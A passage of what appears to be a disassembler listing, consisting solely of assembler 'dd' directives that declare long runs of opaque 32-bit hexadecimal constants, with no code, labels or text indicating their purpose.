		dd 143C875Dh, 82D85DA1h, 0F08F86AAh, 39DED8A0h,	0FC0EE6C8h
		dd 60A4C66Bh, 7B0F6D6Eh, 59970135h, 0A2988277h,	0C822EF1h
		dd 44BCE42Eh, 0DC04FFE4h, 669AEFE7h, 0C06028BFh, 0CEA88586h
		dd 2760E208h, 0C78A63h,	1B952014h, 59AF4DCEh, 34804090h
		dd 0EB5F01E8h, 1ABDAC81h, 803061A9h, 0DF2F9E0Dh, 21002C6Ah
		dd 0ACC2FBB8h, 0B561B7Dh, 5DDD43D7h, 16B6E048h,	8B087091h
		dd 5893E63h, 0DCC0D697h, 0AC9439D3h, 42184F25h,	0FC7949BEh
		dd 4018D8AFh, 1554425Bh, 0AC88C248h, 7AEB208Eh,	0E44F1A28h
		dd 21809B73h, 4FA67EE3h, 0F22C2108h, 5C160118h,	6ED0407Bh
		dd 9F8EAAB6h, 0B4E7AC4Bh, 6C19E809h, 8DE03410h,	0C3CF6900h
		dd 2ED63170h, 6CE0B752h, 6B0097EAh, 0D54BA598h,	0D2FABED7h
		dd 0F2D0F2B9h, 63443007h, 4E01B4Bh, 0C55F4127h,	970009Bh
		dd 40134BC3h, 0D31BC4E8h, 3F86FDDh, 0BFF0829Dh,	1585151h
		dd 672EAAE4h, 0D83B6E47h, 5B075523h, 95F2013Dh,	44F4C654h
		dd 9B039E14h, 34AF578Bh, 4349A015h, 897B02A6h, 2A3D8CF1h
		dd 4F116C5Ch, 98281602h, 84560AE5h, 1210467Ch, 1860665Dh
		dd 5B6A9863h, 0B21475E4h, 3075F268h, 8F01F4F1h,	0D5956A42h
		dd 402A507Ah, 0FFED69ACh, 0B300F66Dh, 0C50AB5C9h, 2CD8B1A6h
		dd 0BE487A90h, 0A7111407h, 6B914C3Ch, 60A0F74Bh, 0B4B80018h
		dd 584A5C65h, 55075FF2h, 0F045A121h, 6E381C12h,	2F5C3918h
		dd 0C5296B17h, 9050A28Ch, 5B8A22CCh, 0C546D66h,	409FFF1Ch
		dd 81D8ABE0h, 20F0DD24h, 0A940629Ch, 92B4131Bh,	6C4888AAh
		dd 4C5E0909h, 40402C44h, 9E38AC07h, 19C4A0F4h, 18F6E0BFh
		dd 0A4086E53h, 0F0013F2Ah, 0EB296DB7h, 96C43410h, 0A4297CA2h
		dd 1769D082h, 0BCEC5D05h, 0B7A99685h, 50204A90h, 78E2DD63h
		dd 8420A5EBh, 42E4A2CFh, 0F168D73h, 0E86AB785h,	22A405B0h
		dd 0A810289Eh, 90EACA70h, 192F7020h, 478840CFh,	0E4B0B480h
		dd 0BD68AC62h, 0FC0CE2C1h, 49BB9501h, 0EB389A0Fh, 5DD361E0h
		dd 161854A5h, 5C0FE924h, 0AA399C00h, 0D34F173Dh, 616D18C0h
		dd 21EBC02Dh, 0E0A1D918h, 7BD5B430h, 3C21C030h,	6353B305h
		dd 89E0510Fh, 0D5F083A9h, 0D19EA0CAh, 0A820BF2Dh, 0F47E634Eh
		dd 65E3AC1Eh, 20D8B20Eh, 0EE382B15h, 24ED48A2h,	9D6D5100h
		dd 3519CCC6h, 0FE5B6C12h, 0AB10BCBCh, 0D06E005Dh, 0F24F5AA8h
		dd 0E2144FDEh, 412BAD0h, 0B130B05Fh, 0D25408C4h, 69F61CC7h
		dd 49FE2410h, 8F9E0C60h, 7A62C710h, 3CAF908h, 2019132Bh
		dd 0EE0814B9h, 0B3342988h, 181E760Ch, 398240CAh, 0E060EC63h
		dd 0E8181017h, 2161189Ah, 0C61C4C10h, 18A90508h, 31455020h
		dd 0F310CE80h, 0D108889Fh, 59AB18B8h, 28C61583h, 31081154h
		dd 4F186341h, 1A47013Bh, 1B95B01h, 888CC53h, 2C0C545Fh
		dd 0C4BB98EFh, 9472B9D9h, 838846D4h, 39C42997h,	370C6813h
		dd 0A8400E59h, 0F98A8E4h
		dd 0CF08CC3Ah, 62636911h, 205E4220h, 0F46F58C1h, 0FA41D861h
		dd 4D08C673h, 0B16318DBh, 1819BE41h, 20ABD608h,	8C6B71Ah
		dd 3128EA04h, 0B4107BCAh, 82088C8Dh, 0C4C7302Ah, 66A9779h
		dd 3118441Eh, 68084CB8h, 641895AEh, 98FE10A8h, 58ED8C1Bh
		dd 3E058692h, 2996CC46h, 0A54D3108h, 88DFCB18h,	159EAF28h
		dd 7110F005h, 5BBC1018h, 8BA0118h, 18CA4055h, 798C8044h
		dd 40E2088Ah, 8040CCA2h, 28E56306h, 21209A71h, 5CFF20C1h
		dd 8BE1633h, 51E918D3h,	0C54A78E8h, 0E02118CAh,	704AAA92h
		dd 9C88EC84h, 52F60C8Bh, 0E4D98808h, 4E0171D0h,	9E088C85h
		dd 62875810h, 1BFA0828h, 23F1A02h, 4A0225C8h, 50C0C9A0h
		dd 774C0888h, 70118618h, 2584AA4Bh, 0D84A4980h,	868CF4CEh
		dd 408008C8h, 79407AC3h, 56A740CEh, 66F26340h, 31EB38EEh
		dd 88706022h, 0C43692F0h, 6BF2268h, 20103DEBh, 0DC365EE7h
		dd 6229096Eh, 1D473954h, 3556502h, 82481E5h, 0E899A490h
		dd 0F051B719h, 18884AACh, 0D20898A2h, 2E9D087Bh, 544E1F12h
		dd 2B08B988h, 74E3518Ah, 0EAD1B1F0h, 7F7190BBh,	9544C524h
		dd 9E198C62h, 51344038h, 9530E8E4h, 26907010h, 9882049h
		dd 8A236AFh, 209F7520h,	0DF4DB361h, 0C0713C4Ch,	0C390A9EBh
		dd 0B645F988h, 0F1D19918h, 63B4A2D6h, 0CC1076FEh, 0DB5180B1h
		dd 13400F40h, 204AED99h, 0F8A437A4h, 0F862FE26h, 50A39F81h
		dd 10BE5B56h, 66481F05h, 62F780E5h, 0BC2CB4A1h,	3C867C30h
		dd 1845DE3h, 222A45A2h,	2BA8EFB3h, 17AA64A0h, 0BCF0E54Fh
		dd 701E934Ch, 0A92A1403h, 86DFE8B0h, 0CE5971E5h, 56402C50h
		dd 14B5300Bh, 9A8E050Bh, 185C5A24h, 28DD5CE5h, 0FE6155A4h
		dd 17FB50C1h, 401074h, 419C39B5h, 0DCAC0EE8h, 0AA634375h
		dd 0E2A46E28h, 3C0852C1h, 62047C70h, 0F8C9E548h, 0FDAE0C04h
		dd 0F834491Eh, 75181E0Dh, 851953D4h, 1AA4B810h,	10085DD1h
		dd 34E51644h, 1A095A9h,	0B50CE984h, 0D51082A4h,	0FF8C4263h
		dd 41A218A0h, 2732E5FEh, 77BB2054h, 7AC978A0h, 0B000F20Ch
		dd 0D70DB1D0h, 0E44C506Fh, 92E5251Ah, 32D53882h, 7009845Ah
		dd 63DC9Eh, 2057A4A3h, 765B024Fh, 3FA2CA10h, 0DF1F0880h
		dd 6D09B52Fh, 0E97741ACh, 2FF6C0h, 7A087C44h, 0A53E31C0h
		dd 0F792F72h, 0C4D5A328h, 8CF00891h, 90142BD1h,	0B5AA07B0h
		dd 15406A1Eh, 308C4D1Fh, 0CA20BA57h, 0A229BD6Fh, 680B905Ah
		dd 0AE1CC8E5h, 50E798DDh, 21B8ACh, 0A4EFB502h, 9A1D0AA7h
		dd 4CAA4E02h, 0A74BB9E5h, 704057F8h, 68E7E304h,	108D8D2h
		dd 9A41946Dh, 1114233Eh, 777B24A5h, 0D234022Bh,	56A2D90Fh
		dd 554F0881h, 0CD30A057h, 0A820F930h, 39CFE7Dh,	0B4582BD4h
		dd 0FEAF0198h, 0B80AD280h, 4F18CBD0h, 5D386F3Eh, 99A7874h
		dd 0F0C1DE4Ch, 0CC655C20h, 6728C91Fh, 0AC0078F4h, 8E681EA5h
		dd 6331D9h, 204D32C7h, 0F010147Dh, 27BBC50Ah, 1A01D0D7h
		dd 6328C50h, 0BC5C9095h, 669A210h, 221618D2h, 40242859h
		dd 0B8C12F0h, 6504783h,	15F611ACh, 1483FA1Bh, 0DF901D4Eh
		dd 591ED5C2h, 9D020E71h, 0E0681576h, 199D1ECh, 3763D45Dh
		dd 24D26A05h, 0D1C0CFA4h, 0E9594B9Ah, 0A5AF00F0h, 0E1C4250h
		dd 10481924h, 5C430A10h, 1E18C0B0h, 802A3DC0h, 0A949ACC1h
		dd 41B40954h, 0D1DC182Eh, 90C98EBh, 16B527DFh, 1702B8DEh
		dd 80A176E5h, 9AAAC8E0h, 908748DDh, 57064283h, 3A1B4000h
		dd 3DEF9A7h, 0F8C2F92Ah, 0D3C50038h, 0E5D6B51Fh, 393CEE55h
		dd 9A269ED7h, 480B320Dh, 906B2CE0h, 67BE00DEh, 0BAC31A9Eh
		dd 0FB07A489h, 0DF1C9B04h, 0DC0BE6C0h, 8AFE0C86h, 0B0D1AA11h
		dd 0E989401h, 61A0E51Bh, 4445A880h, 3CA536C4h, 538C1E05h
		dd 0A3009B19h, 7DA89821h, 482C9877h, 0C4811018h, 1B0E94Fh
		dd 24208C5Dh, 680C04C7h, 803241FFh, 0B529AD90h,	3C70F548h
		dd 1004485Ch, 0E20386C2h, 5214E528h, 0C0328024h, 3021AD0Dh
		dd 6DCDEC41h, 469A0889h, 28058C10h, 4CCB548h, 970D43D0h
		dd 74F46306h, 294DF4Dh,	0E878B350h, 14104139h, 1706D30h
		dd 22D524FBh, 277C6D47h, 0AC5300B8h, 8AB86FE4h,	94145422h
		dd 0FC9A55A5h, 1FC5C080h, 0E767FE68h, 0AD008890h, 597171Eh
		dd 2A45E31h, 3EEBB150h,	2840E7EEh, 351E7CC0h, 0E506D90Ah
		dd 24E88928h, 30D096h, 1AAC8ABDh, 0D32043C7h, 0F0E8086Dh
		dd 384A3DA2h, 0EF80CB80h, 6518749h, 0DE425F05h,	0CFA2089h
		dd 8C2A55h, 0E89B4FCCh,	62F24890h, 0B8F61532h, 20C042AAh
		dd 0B98C44C8h, 0C060C1C2h, 80340ACAh, 13B51041h, 0B17CBDE5h
		dd 6DCB4150h, 39345243h, 1E06347Ch, 77782007h, 0DD20C017h
		dd 32120D8Eh, 31422909h, 0EFB00E27h, 3F28A1B6h,	4C24CA46h
		dd 91C304DBh, 83EB246Ah, 1105DC60h, 9B71C2C7h, 4E32BC30h
		dd 52B727Bh, 578AC6F0h,	56D05F78h, 42843047h, 4B0E4FAh
		dd 0A1C76700h, 0D87966Eh, 2C194D37h, 0BBACEE00h, 1CD4FF9Fh
		dd 2C489A1Fh, 0E503E0C1h, 0F8815BBEh, 0A9E917DDh, 654FE454h
		dd 49DF9540h, 4051F047h, 904C20h, 0A48B42B1h, 181E3154h
		dd 2113D001h, 8034D1B0h, 25DC30h, 0E77CE491h, 4D9BC6EBh
		dd 0ED4B2400h, 1868DD1Dh, 1A5924F2h, 4D48E570h,	26104AE4h
		dd 0CCCD2480h, 8E5DDA09h, 7FA6A690h, 1E85ED8h, 3F4FD1ACh
		dd 49ACA7h, 0A0016512h,	1DD05015h, 0A160D049h, 9A36000Ah
		dd 162D282Bh, 0A04A87A3h, 435AD090h, 67B0E28Ch,	0E0021010h
		dd 2817839Dh, 5A2DBD0Ch, 40F1204Fh, 7B00C607h, 0B506494Ch
		dd 0EA537EDDh, 9A4B0102h, 40D4AE43h, 5860FEF3h,	0A37F6055h
		dd 8AB9101Fh, 7740603Fh, 0C88E020h, 49014F46h, 90056A9h
		dd 9BD7FAB7h, 622433h, 8C05289Fh, 0D8B80FCEh, 5D425B00h
		dd 0FBB36116h, 12190023h, 3F509617h, 0B88B11h, 16CC60C5h
		dd 28E5F088h, 24F458ADh, 213CFBACh, 43A201B0h, 550FDFFEh
		dd 7D740AF4h, 5C5D40CCh, 1F204FCCh, 6C93B3h, 6C09C4CDh
		dd 0EF264F8Dh, 0B1003C79h, 0A220BC4Ah, 0FF9A7748h, 983B19C0h
		dd 0DE6017D0h, 7CA50C69h, 1B03D1A0h, 4974B3A9h,	0FFB4E138h
		dd 5F87C457h, 19EC682h,	24D62A42h, 7001C970h, 8CB052B3h
		dd 80041FF7h, 0BF079314h, 8A9DA10Ch, 0EA8EE0E1h, 22D72C7Ah
		dd 74E301B4h, 20A46215h, 0E0509298h, 814EA9Ch, 3C8C8291h
		dd 4B1BEA5h, 0F14F9889h, 6021EC92h, 588AF5h, 395B56A4h
		dd 0FF4FB3ACh, 4117ACB6h, 7105E807h, 0C097B1E0h, 74961314h
		dd 87F8F080h, 0BECAAB18h, 2C99A8h, 0EAF962C3h, 5010849Dh
		dd 48A64530h, 0FC478AE0h, 9AE602EDh, 1C255E37h,	11D2E4C8h
		dd 9E3A6815h, 0CDC58E0h, 10809BE5h, 16C940Fh, 0BA5066B4h
		dd 37508999h, 0B37C8534h, 0BF7D808h, 1C2E1D42h,	62CC6136h
		dd 81AC20FEh, 4FA9CE60h, 921340Bh, 5E0D6A1Fh, 5AC2403h
		dd 3F401AC2h, 709814C1h, 0CB586E60h, 0FBA2BE6Fh, 66249C32h
		dd 39420630h, 0ACB21168h, 50221400h, 0A47192FFh, 60ED03E7h
		dd 0F265D44Ah, 0AC7F42E8h, 9CF06CB2h, 36316100h, 1072C90Fh
		dd 0C45B134Ch, 0B0BC440Bh, 5CDA011Bh, 8CC44999h, 801C60D6h
		dd 31D7411Ah, 578D259h,	2EC06FC9h, 4A947801h, 8C20AE8Ch
		dd 84D9DC44h, 88289A82h, 0BC5C4D7Ch, 100BC65Ch,	0C83A50F0h
		dd 5844985Ch, 0E50B14A2h, 1C2038F6h, 0FC472AFAh, 43506800h
		dd 36E318F4h, 20F4ACh
		dd 0CF59483Bh, 331BEECBh, 6B83900h, 422DC8E3h, 844F5965h
		dd 43C6E50Bh, 5C528F89h, 30CAF0C2h, 570C0D1h, 404B838h
		dd 9843DDBFh, 0CC680476h, 60F58A4h, 0E9E518CAh,	6395982Bh
		dd 4858C3BCh, 4324A890h, 0A8AB0090h, 0A5663B70h, 68411E28h
		dd 3DAFBA20h, 8705497Eh, 46ADECACh, 719A4084h, 0C79FEB00h
		dd 70DBB4A8h, 34B8986Eh, 0C048AEC6h, 0B53005E4h, 0A487C01h
		dd 8E9D0CD2h, 0F7005828h, 22E9D424h, 0CF244FE6h, 6080803Ah
		dd 2EEB2767h, 82701818h, 80D018BEh, 8855422Ah, 8C9D1D00h
		dd 0DDE5121Bh, 488092C8h, 8C58605Ch, 2796A210h,	2A87816h
		dd 0F0960C9h, 34599C6Eh, 64009444h, 6B68E843h, 0ACCC009Fh
		dd 3C1B1F0Dh, 828BB9A3h, 5C005334h, 0C7CF2261h,	249A5D00h
		dd 107002FBh, 2A8733E5h, 0F6926648h, 5603AC4Eh,	92C2DEACh
		dd 1A0FE841h, 424416EFh, 21F440E0h, 67F7AC3Ah, 4CE0CA52h
		dd 1A45218h, 91D9BAE8h,	43D1AC0Eh, 0DC50C6h, 54A2BB32h
		dd 6D83A89Fh, 8AB5E804h, 1017C1C2h, 0C8908C38h,	0AEE00793h
		dd 6449490Bh, 62C06194h, 0DBF600E8h, 0E0A444B4h, 0FF8B10D0h
		dd 106424CCh, 0DD173711h, 90E4A462h, 2420E64Eh,	0B82A2716h
		dd 0BC9E40A4h, 48BB9304h, 0DCFCAA09h, 2430423Eh, 0ABC579C0h
		dd 0B020490Ah, 402A5462h, 0C47F982Eh, 5EE90052h, 787AD8h
		dd 0A5204424h, 0DC7CC78Ah, 5A9F3F00h, 681B769Dh, 0BEA914CAh
		dd 0CF27F58Fh, 9CDEB400h, 0B200308Dh, 2832B6F3h, 4B645DFFh
		dd 8CB430D1h, 0B0BAEC62h, 0C43C8D2Eh, 0EF6A4261h, 0F624060h
		dd 26018EA3h, 1943D420h, 78992404h, 0B4009017h,	63CF70D9h
		dd 37675FAh, 7E774184h,	0E4E3DCCEh, 902C50B6h, 211640DDh
		dd 15A6F800h, 0D5F47Fh,	3EA2C131h, 61DCB479h, 3AD96700h
		dd 24760AA9h, 421B0B41h, 0D80459A2h, 0E008F41Fh, 0D03C3749h
		dd 0FA3D7DCCh, 6C855ECAh, 25D6C820h, 40C64C79h,	0CB133204h
		dd 0DD478115h, 70E5E976h, 49F0E1A7h, 0C1E6A400h, 8098AAAh
		dd 5BC602F2h, 0F7648744h, 0D48D0441h, 1C5C5CC7h, 0FA610F84h
		dd 0DAE5A422h, 2BD28A0h, 49D11D2Ch, 0F0C025AAh,	0C781268Fh
		dd 1CAC0E60h, 6F314F4Ah, 0C890F05Ah, 5DD13A09h,	0A0D0EC0Eh
		dd 824AC9F8h, 0DC843C72h, 4F3C4C09h, 0A048C088h, 2310008Ch
		dd 711820E8h, 28C0CDD9h, 6AC47F9Ch, 638B27A3h, 0CCD005h
		dd 239BD9ECh, 0A203DD67h, 61A187F9h, 9E200485h,	0D0A414E9h
		dd 6719E0F0h, 0E5795C61h, 2035AEF7h, 0A1DC60D6h, 0D10C727h
		dd 72340761h, 6C440E5Ch, 5BB4E1Ch, 8C1C2397h, 0FFD8C882h
		dd 1558E018h, 17217514h, 169E5B0h, 7123BA34h, 2EF1C468h
		dd 0FF01D07Dh, 0D14F4322h, 5C2D1ADAh, 7EE51504h, 4FCCF20Fh
		dd 0C0C48009h, 5FAB4FC8h, 8918817Fh, 8475D010h,	0B931A18h
		dd 163C1840h, 424543DBh, 6DDD1BD4h, 14792442h, 0E9D909h
		dd 87429928h, 35C90CEh,	4649897Ah, 0C8B0A504h, 4030E5ADh
		dd 3EA43808h, 0D813055Fh, 81E6E7AAh, 24A5068h, 345CD06Ah
		dd 0C11090EDh, 317F54h,	0E8C4EAA5h, 0E9D2046Ah,	805E641Ah
		dd 22B48A74h, 2C6190C0h, 4CC28C35h, 1CDE4054h, 822C24F5h
		dd 57A442AEh, 174F1C46h, 0E8EFB822h, 62B242A8h,	9F68C8FAh
		dd 0A4282444h, 14B81C50h, 157BCD00h, 0A5B9FCA7h, 565C2458h
		dd 1A50E14Ch, 0DDC840ECh, 0A6F8E68Ah, 7A42BA0Ch, 191360C5h
		dd 0E0DB9668h, 81E1ED8Ch, 0E027EF38h, 0F8705B62h, 2422EBDh
		dd 0DC1794CCh, 986AA786h, 878C5208h, 0C7E1FE4h,	2270D79Fh
		dd 423A0478h, 1CEB93C4h, 44800074h, 95229DEh, 0F7AD7F86h
		dd 6E0B9456h, 71843AA4h, 3502BE6Ch, 0F6E72B90h,	73671049h
		dd 5DD5132Ch, 400DD403h, 0F6693CE2h, 0A4F04C79h, 30CE0700h
		dd 4154A480h, 483EFD01h, 0C5D8B7E7h, 0E583282Ch, 4058903Ch
		dd 0DC961360h, 0D072AC16h, 8CC499FEh, 2F754F01h, 20074404h
		dd 1376F0B2h, 61D67F68h, 0D004AF0Ch, 4A308C40h,	3202480Ch
		dd 0A16C04DDh, 0CBEDFC1Fh, 0D8E80130h, 0B29743C4h, 8C201094h
		dd 8C138047h, 0C70C8082h, 3D022113h, 0ACB0BE9Fh, 483DC33Fh
		dd 984C48E1h, 0CC08105Ah, 94245F21h, 833C8000h,	58775D18h
		dd 704FCCEh, 87737F6Ah,	0DBA5905Ch, 1BFA5075h, 1FAD3580h
		dd 395D61C5h, 6794562Ch, 0D7392025h, 0E353D2C6h, 0B39E10B0h
		dd 3E64AA2Eh, 0ACA480E8h, 2016820Ch, 5542682Ah,	10869C2Bh
		dd 0EB04511Dh, 0BB4AFBFFh, 2EE869C1h, 738DE3D0h, 890206DAh
		dd 0F8DB2ACAh, 784F5008h, 0BA530490h, 13E8808Dh, 8C02455Ah
		dd 0CA319516h, 4DE0C823h, 810F2E79h, 59EF8FB8h,	0D6337FC0h
		dd 5D000ECEh, 0E697D26Bh, 0E867537Ch, 64260B51h, 0F80142FFh
		dd 0C415819Dh, 5F002F22h, 0E4346F2Bh, 77AC391Ch, 34E84C4Eh
		dd 5194E510h, 0A6E005A4h, 2DE860E4h, 26296109h,	87EC17E5h
		dd 672763C7h, 48C0FB4Ch, 0DB487C42h, 0E2F72D4Ch, 78E812FCh
		dd 6FC009CCh, 189AA2BFh, 0AE5C244Ch, 304424A8h,	0BF000C9h
		dd 50036Fh, 43D82DD2h, 0DDADA6C7h, 1EB47058h, 4F46E458h
		dd 88486C5Bh, 0C07C5DCh, 0F3AA4224h, 0F2076790h, 0BED92CB9h
		dd 3082E0A4h, 0E98EC08Ch, 6B180935h, 0F8A07DDBh, 0D3BB9B54h
		dd 84C1140Bh, 0E184437h, 6995AC33h, 0BFBE6700h,	0A90E31FEh
		dd 207843A4h, 284F1D10h, 2D88D3C3h, 0E5F86408h,	18EB6524h
		dd 0CA54A200h, 13B0EE99h, 0ED8E4Fh, 42CB3350h, 254BA5F1h
		dd 131D9C5Eh, 0C50598AEh, 0F880C287h, 528B04h, 3264D738h
		dd 3995CD89h, 0C5ED0F00h, 0D9237BC7h, 510032Fh,	3F634276h
		dd 0A8EDC90Ch, 51CB88A5h, 7471E4B9h, 0DC7876E1h, 0C41B0CDEh
		dd 0C1180F20h, 6C08B4FBh, 9462F069h, 1D133E94h,	0C0A49770h
		dd 0B7A84FCBh, 15DF5380h, 0F44C9343h, 0F51EF200h, 478C7921h
		dd 8C84CB4Ah, 0F4098C1Eh, 45290h, 0EAF0D308h, 0C6D8BC4Dh
		dd 9A17C400h, 65EE0437h, 19E50957h, 744CE30Ah, 4184F609h
		dd 32F404AAh, 8C44E080h, 0B8E64DAEh, 0A4353000h, 0F6EF405Bh
		dd 0D3E7F307h, 20AD248Ah, 0C0090047h, 12151D3Ch, 13F9FC98h
		dd 4260C1C0h, 9146C7Eh,	440A68CAh, 0E5AE0A0Ch, 0B5A4D929h
		dd 0E8201F90h, 0C9F20187h, 0B126597Fh, 0C46AF0ABh, 31C05518h
		dd 1F560D0h, 56ADB224h,	40283042h, 0A8FE07F0h, 189E4099h
		dd 4B018784h, 0F484A495h, 58604CA5h, 0C4185812h, 93A8A0D6h
		dd 0AA65C309h, 0F244F024h, 143D48F6h, 5E793C4Dh, 0E0EC13FEh
		dd 0B61FE808h, 6E1E7224h, 259818F7h, 0C31680A2h, 0C098D0EBh
		dd 4317E3D3h, 440D2DAh,	0BF6B44D9h, 0E6A40070h,	6CEF3D66h
		dd 2C98F2E8h, 1380EB72h, 0B0543E18h, 0F9645B81h, 0E271E5EAh
		dd 745D68C9h, 0E8A96948h, 50903C77h, 5C92673Ch,	627AC098h
		dd 0AC6CE024h, 64499A42h, 37DF2DE0h, 0C36FC410h, 0E0D48A18h
		dd 885E2129h, 733EFDE5h, 9BD700E7h, 0F3350A24h,	1D890D0h
		dd 0D19C9D27h, 54423903h, 22C44980h, 515C2900h,	11FA25B7h
		dd 57B8073h, 0E030E52Eh, 4FC4249Fh, 0B0A94B9Eh,	5A40D039h
		dd 0BB955EF8h, 0F734F188h, 28942089h, 4450570Ch, 5CF09648h
		dd 9E670148h, 7ADE0CBFh, 1F984C70h, 0FC67E51h, 21A02AC7h
		dd 0C8F0A489h, 0FC79591Fh, 6BAE9F00h, 558B1F71h, 582DE8D7h
		dd 0DC3CD060h, 9CA4279Bh, 43DE4E09h, 1107099h, 6566391Ah
		dd 0EDD88C03h, 275C33FEh, 7EFC60FFh, 0D2670047h, 951DCFC5h
		dd 2D62A98Ch, 594AAA68h
		dd 3F8C42A8h, 1C90A8F2h, 3AE0A46Bh, 0B018CCA4h,	43889E84h
		dd 82CC20A3h, 0B30734ECh, 18E068B9h, 0D2C8028Ah, 75534F8Eh
		dd 58EFE060h, 0AF2D9A04h, 0C8805703h, 2E519180h, 13D41C60h
		dd 0E8A60076h, 11CC46A5h, 0B4EFD705h, 0BC4537FEh, 5C040F44h
		dd 9C853302h, 0CA43E8D3h, 0C40460F0h, 42221907h, 0E119115Ah
		dd 444C4120h, 32FC28F6h, 5C1A21EAh, 684F0644h, 5D04E8B1h
		dd 3BEAB6D9h, 76C9DC89h, 0B54CAED0h, 0C083CB2h,	0ABD20314h
		dd 7CE93F16h, 77A09234h, 0F2E94405h, 60AA2C82h,	94200BE0h
		dd 3EE8A950h, 0CD936848h, 0F7E8007Ch, 576132F0h, 0A66B8A08h
		dd 32B10434h, 285166ACh, 63D3D4B8h, 0A64F4800h,	0E5DF38Dh
		dd 0F09758D0h, 4378E007h, 161810BEh, 3F06B13Ch,	7EBA45Bh
		dd 27D23F42h, 509A2C83h, 63D0A0DCh, 0D3485EADh,	0B01B0078h
		dd 98C3DD0h, 0C088DCD6h, 19EEB931h, 0B0B2FE6Ah,	99164904h
		dd 28B071A0h, 186E60D5h, 4FE18CE0h, 0E0A1F64Bh,	5C318404h
		dd 312F9BC7h, 530A0B0h,	1FEF68A0h, 0B20B50Fh, 944CC95Ch
		dd 0AF40C278h, 9AF4A170h, 88E818A9h, 4426622Ah,	0DF43D0E0h
		dd 921CAA75h, 183880C8h, 31A90EBEh, 3620E57Dh, 99508D42h
		dd 0E42219B2h, 9B03C602h, 0C0EB3EE5h, 86A9BFC9h, 46F94270h
		dd 0D9620060h, 0AD33ABEDh, 53E8AA77h, 29BEBA01h, 9C02BFF6h
		dd 56DF5C2Ch, 0A02C544Ah, 6DA4405Eh, 0B4DB2009h, 1EF34209h
		dd 42F86524h, 18712113h, 0E81B430Bh, 387E6A8Ch,	3A04FF2h
		dd 0C28D494h, 0BFC0D00h, 832FD04Eh, 0C94A067Eh,	5E42F167h
		dd 2C289358h, 171D3668h, 7FEC073Fh, 41CF5196h, 6D1982A6h
		dd 0B3AE6F0h, 4C8193D1h, 0A63BD061h, 1420F811h,	54051C00h
		dd 0DC9FF7D3h, 52F33743h, 8C4FE0C0h, 0D0C06E6Bh, 61E0F22Bh
		dd 9E630B1Ah, 0C0007765h, 6A51017Ch, 5FE408B2h,	0FD8EE4B4h
		dd 0C4558150h, 7B204Fh,	44B04D34h, 0DA25E8F2h, 42D0B0CAh
		dd 1E6C403Ch, 127EA53Ch, 749049EDh, 54C04BCh, 8B43E07Ch
		dd 42BC1F34h, 0E299BEE5h, 772FF800h, 70C3640Bh,	9EDCA809h
		dd 1AEF7507h, 0F0ACA28Fh, 8CD89867h, 0D314405Eh, 42186561h
		dd 60800F84h, 1A0E7B0Ch, 4C9636AAh, 9605B1Fh, 890DB318h
		dd 0C7E8F08Fh, 0B531CC00h, 80F6D38Ah, 584B6CC1h, 5C2A3C89h
		dd 0C969D22Ch, 0BDBBD79Ch, 31D43003h, 98E4A2D3h, 786AF559h
		dd 0F4520332h, 8F2DEB67h, 534317A8h, 51EF1D03h,	699142h
		dd 78082160h, 87E01E77h, 65244FE4h, 6C8058B4h, 768D5735h
		dd 373D1362h, 4D4B062Ch, 441C2005h, 0E8C963DFh,	0DF8E0CBh
		dd 0C8D0546Bh, 840850EAh, 0D14C9670h, 39250732h, 207B405h
		dd 6246BC47h, 43DA42E0h, 8401BFF6h, 0E92EEA28h,	12842C2Ch
		dd 0ECE1D66Fh, 0F880D8FBh, 38E5B9Dh, 356004B8h,	0EEE1DFA8h
		dd 80C7AC38h, 0A9102214h, 13A444B5h, 1965857h, 8F08E980h
		dd 0F1C02506h, 22C2C471h, 18594F18h, 0F7E3B90h,	38E76740h
		dd 8CAF29A0h, 0BCB2D810h, 0C8E04739h, 3B82C444h, 48826E09h
		dd 58C8FEA9h, 0ECB8FFA6h, 1FF46613h, 0FBD088C7h, 9ACBE513h
		dd 84D45888h, 1EF00C30h, 770B75A8h, 0A8CFE516h,	91128810h
		dd 4C1848A0h, 3EC01C15h, 0DE7363C7h, 0A2D1E70Ah, 1F050856h
		dd 0B4F09668h, 0C0805F8Ch, 3CAC46Ch, 0E4C8244Bh, 0C70F984Fh
		dd 647D0828h, 0DC00BF32h, 0C72BE527h, 0B8DF1E7Ch, 20CFCC0h
		dd 9B90E770h, 40983807h, 3FC11503h, 4B2FE2CDh, 5881E3C8h
		dd 3AD46E50h, 4852CC0Ch, 1F0C0553h, 0B374A56Bh,	6E51348h
		dd 33D4C044h, 542784F2h, 0BDE5AC81h, 34C00432h,	3E757C35h
		dd 8717F676h, 5C58F8F3h, 8B50832Ch, 5DD028FFh, 488C1934h
		dd 0FA1658A8h, 3988E87Bh, 4CC93BC1h, 1315FC4h, 6DF3AC42h
		dd 89C35869h, 5F98A8C6h, 1A072448h, 93021C07h, 69D1B2C0h
		dd 17C8F878h, 452D27FCh, 0F39BDB18h, 0B6AA10FCh, 0CB901606h
		dd 3D261883h, 0D218569Eh, 14659A8h, 0E4F5655Fh,	92AC53E5h
		dd 3C200D30h, 25B8E7CCh, 0DC93FFD8h, 48A2D850h,	60C510CBh
		dd 0B05317D0h, 0C9691h,	0D8487EA6h, 0DD1BE9A5h,	0C858978Ah
		dd 0B6FADBh, 9E6FCB3Dh,	7B4F4AABh, 825944Bh, 2562C893h
		dd 1C90A7D0h, 1A05CE28h, 735D14E9h, 80544C4h, 0B4A015E5h
		dd 1CE40024h, 0ADC2DE4Eh, 0B501C382h, 3E8CDD19h, 0E0CC2203h
		dd 174F099h, 0CA87D1C7h, 64266042h, 90BE9E98h, 24A33564h
		dd 8200952Eh, 0F0E51EFDh, 0AA2588F0h, 5FCA905h,	0C88824C5h
		dd 0B66F038Ah, 42331AABh, 0E5A85BE3h, 28904359h, 20D3D103h
		dd 4AB5BB4Eh, 0E5E48048h, 60BA9F9Eh, 3937E002h,	0E98B178Ch
		dd 0D434C650h, 70DD031Dh, 3D460E85h, 700E0C6h, 0D0C8FEB5h
		dd 24A5CBF8h, 177CB6D9h, 575490BEh, 0FC1F4C29h,	97181FB0h
		dd 0A90B89h, 0C9E66C14h, 0A58AD8F7h, 5A70F861h,	0C8605E50h
		dd 908D12F0h, 91C404C0h, 0D0A70024h, 3A265Ch, 1B2E449Ah
		dd 0A987C913h, 7CCC6659h, 2B004C78h, 0A64FB75Fh, 2EEEF12h
		dd 0E53CE1F2h, 0B84833EAh, 4D4C0A43h, 0FEC680E0h, 98D86B74h
		dd 5070FDC0h, 725D001Eh, 0A2DBE7CFh, 6348C53Ch,	71B44C4Ch
		dd 72945Bh, 0BB84D368h,	44412D79h, 0F87CA84Ah, 0C11666C4h
